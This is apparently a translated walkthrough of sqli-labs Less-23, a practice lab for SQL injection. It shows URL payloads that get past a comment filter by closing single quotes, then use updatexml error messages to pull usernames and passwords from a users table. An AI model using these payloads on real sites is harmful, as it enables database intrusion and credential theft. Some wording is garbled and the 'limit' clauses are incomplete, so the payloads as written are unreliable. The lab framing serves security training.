"Sqli-labs" Less23 error Based-strip Comments (get-type injection based on error removal comment)

、

Add Single quote Error

Extra

Http://localhost/sqli-labs-master/Less-23/?id=1 '%23

The error has not changed, guess filtered #

View Source Discovery #--it's been replaced.

Then it can be used by closing the single quotation mark

Http://localhost/sqli-labs-master/Less-23/?id=1 ' and ' 1 ' = ' 1

Then use the Updatexml function to fetch the data by error

Http://localhost/sqli-labs-master/Less-23/?id=1 ' and Updatexml (1,concat (0x7e, (select username from users limit), 0x7e), 1) = ' 1

Http://localhost/sqli-labs-master/Less-23/?id=1 ' and Updatexml (1,concat (0x7e, (select password from users limit), 0x7e), 1) = ' 1

"Sqli-labs" Less23 error Based-strip Comments (get-type injection based on error removal comment)